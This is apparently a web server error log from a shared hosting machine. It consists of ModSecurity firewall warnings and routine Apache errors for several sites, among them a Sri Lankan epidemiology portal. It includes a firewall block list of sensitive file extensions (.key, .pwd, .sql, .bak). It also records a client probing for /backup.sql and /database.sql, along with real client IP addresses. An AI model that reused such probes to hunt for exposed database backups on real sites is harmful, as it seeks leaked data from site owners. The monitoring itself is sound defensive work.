[Fri Jul 17 10:05:02.853179 2026] [security2:error] [pid 2063441:tid 2063441] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/strengthening_immunity_in_healthcare_staff.pdf"] [unique_id "almw9tKHXJzatLSGO6Is0gAAABU"]
[Fri Jul 17 10:05:02.853615 2026] [security2:error] [pid 2063441:tid 2063441] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/strengthening_immunity_in_healthcare_staff.pdf"] [unique_id "almw9tKHXJzatLSGO6Is0gAAABU"]
[Fri Jul 17 10:05:02.971313 2026] [security2:error] [pid 2063463:tid 2063463] [client 91.148.244.131:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com"] [uri "/backup.sql"] [unique_id "almw9v72foAPmCnen3SrIwAAABs"]
[Fri Jul 17 10:05:02.974347 2026] [security2:error] [pid 2063463:tid 2063463] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/backup.sql"] [unique_id "almw9v72foAPmCnen3SrIwAAABs"]
[Fri Jul 17 10:05:02.975113 2026] [security2:error] [pid 2063463:tid 2063463] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/backup.sql"] [unique_id "almw9v72foAPmCnen3SrIwAAABs"]
[Fri Jul 17 10:05:03.133973 2026] [security2:error] [pid 2064883:tid 2064883] [client 91.148.244.131:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com"] [uri "/database.sql"] [unique_id "almw9wgUGKrGY1YsJl1uPAAAAAY"]
[Fri Jul 17 10:05:03.134576 2026] [security2:error] [pid 2064883:tid 2064883] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/database.sql"] [unique_id "almw9wgUGKrGY1YsJl1uPAAAAAY"]
[Fri Jul 17 10:05:03.135287 2026] [security2:error] [pid 2064883:tid 2064883] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/database.sql"] [unique_id "almw9wgUGKrGY1YsJl1uPAAAAAY"]
[Fri Jul 17 10:05:03.624904 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:44578] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:04.195763 2026] [security2:error] [pid 2063441:tid 2063441] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/attachments/article/146/Ebola_hemorrhagic_fever_Fact_Sheet.pdf"] [unique_id "almw-NKHXJzatLSGO6Is1AAAABU"]
[Fri Jul 17 10:05:04.196139 2026] [security2:error] [pid 2063441:tid 2063441] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/attachments/article/146/Ebola_hemorrhagic_fever_Fact_Sheet.pdf"] [unique_id "almw-NKHXJzatLSGO6Is1AAAABU"]
[Fri Jul 17 10:05:04.196432 2026] [security2:error] [pid 2063441:tid 2063441] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/attachments/article/146/Ebola_hemorrhagic_fever_Fact_Sheet.pdf"] [unique_id "almw-NKHXJzatLSGO6Is1AAAABU"]
[Fri Jul 17 10:05:04.907954 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:44682] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:05.350237 2026] [security2:error] [pid 2064879:tid 2064879] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-18-08_10_22.pdf"] [unique_id "almw-WTem5UnhuySh-0n1QAAAAA"]
[Fri Jul 17 10:05:05.350692 2026] [security2:error] [pid 2064879:tid 2064879] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-18-08_10_22.pdf"] [unique_id "almw-WTem5UnhuySh-0n1QAAAAA"]
[Fri Jul 17 10:05:05.351087 2026] [security2:error] [pid 2064879:tid 2064879] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-18-08_10_22.pdf"] [unique_id "almw-WTem5UnhuySh-0n1QAAAAA"]
[Fri Jul 17 10:05:05.679394 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 91.148.244.131:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:05:05.749601 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 91.148.244.131:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:05:06.373481 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-16-09_10_21_1.pdf"] [unique_id "almw-o-0g_VSPeIeFN3M0QAAAAs"]
[Fri Jul 17 10:05:06.373860 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-16-09_10_21_1.pdf"] [unique_id "almw-o-0g_VSPeIeFN3M0QAAAAs"]
[Fri Jul 17 10:05:06.374211 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-16-09_10_21_1.pdf"] [unique_id "almw-o-0g_VSPeIeFN3M0QAAAAs"]
[Fri Jul 17 10:05:07.392001 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-25-06_10_21.pdf"] [unique_id "almw-4-0g_VSPeIeFN3M0gAAAAs"]
[Fri Jul 17 10:05:07.392437 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-25-06_10_21.pdf"] [unique_id "almw-4-0g_VSPeIeFN3M0gAAAAs"]
[Fri Jul 17 10:05:07.392907 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-25-06_10_21.pdf"] [unique_id "almw-4-0g_VSPeIeFN3M0gAAAAs"]
[Fri Jul 17 10:05:08.429009 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-26-08_10_21.pdf"] [unique_id "almw_CRF0UOO1RzB5_87JAAAAA4"]
[Fri Jul 17 10:05:08.429355 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-26-08_10_21.pdf"] [unique_id "almw_CRF0UOO1RzB5_87JAAAAA4"]
[Fri Jul 17 10:05:08.429706 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-26-08_10_21.pdf"] [unique_id "almw_CRF0UOO1RzB5_87JAAAAA4"]
[Fri Jul 17 10:05:09.256728 2026] [security2:error] [pid 2063436:tid 2063436] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almw_DM07o9wrUj-Wv1xKgAAABQ"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1205&page_105=1828
[Fri Jul 17 10:05:09.256770 2026] [security2:error] [pid 2063436:tid 2063436] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almw_DM07o9wrUj-Wv1xKgAAABQ"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1205&page_105=1828
[Fri Jul 17 10:05:09.454781 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-18-05_10_22.pdf"] [unique_id "almw_SRF0UOO1RzB5_87JQAAAA4"]
[Fri Jul 17 10:05:09.455171 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-18-05_10_22.pdf"] [unique_id "almw_SRF0UOO1RzB5_87JQAAAA4"]
[Fri Jul 17 10:05:09.455443 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-18-05_10_22.pdf"] [unique_id "almw_SRF0UOO1RzB5_87JQAAAA4"]
[Fri Jul 17 10:05:11.969794 2026] [security2:error] [pid 2063442:tid 2063442] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almw_6TW5eFi1WFCzw0W_QAAABc"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1212&page_105=1821
[Fri Jul 17 10:05:11.969842 2026] [security2:error] [pid 2063442:tid 2063442] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almw_6TW5eFi1WFCzw0W_QAAABc"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1212&page_105=1821
[Fri Jul 17 10:05:14.226281 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:40570] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:18.278310 2026] [ssl:error] [pid 2064879:tid 2064879] (70014)End of file found: [client 66.85.158.91:40732] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:20.455202 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.559712 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.559780 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.559821 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.559844 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.559865 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.559885 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.559902 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.559922 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.559941 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.559960 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.559978 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.559995 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.560014 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.560033 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.560068 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.560090 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.560109 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.623430 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.751439 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:20.880333 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:21.009868 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:21.138413 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:21.253211 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:21.364734 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:21.490571 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:21.610533 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:51192] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:21.898978 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:51234] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:21.899150 2026] [security2:error] [pid 2063441:tid 2063441] [client 57.141.18.39:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory2/subsystem/devices/memory60/subsystem/devices/memory73/node0/memory93/node0/memory89/phys_index"] [unique_id "almxCdKHXJzatLSGO6Is4QAAABU"]
[Fri Jul 17 10:05:21.899172 2026] [security2:error] [pid 2063441:tid 2063441] [client 57.141.18.39:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory2/subsystem/devices/memory60/subsystem/devices/memory73/node0/memory93/node0/memory89/phys_index"] [unique_id "almxCdKHXJzatLSGO6Is4QAAABU"]
[Fri Jul 17 10:05:24.586601 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:51376] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:28.240945 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:28.374436 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:28.464712 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:28.515614 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:28.630331 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:28.746575 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
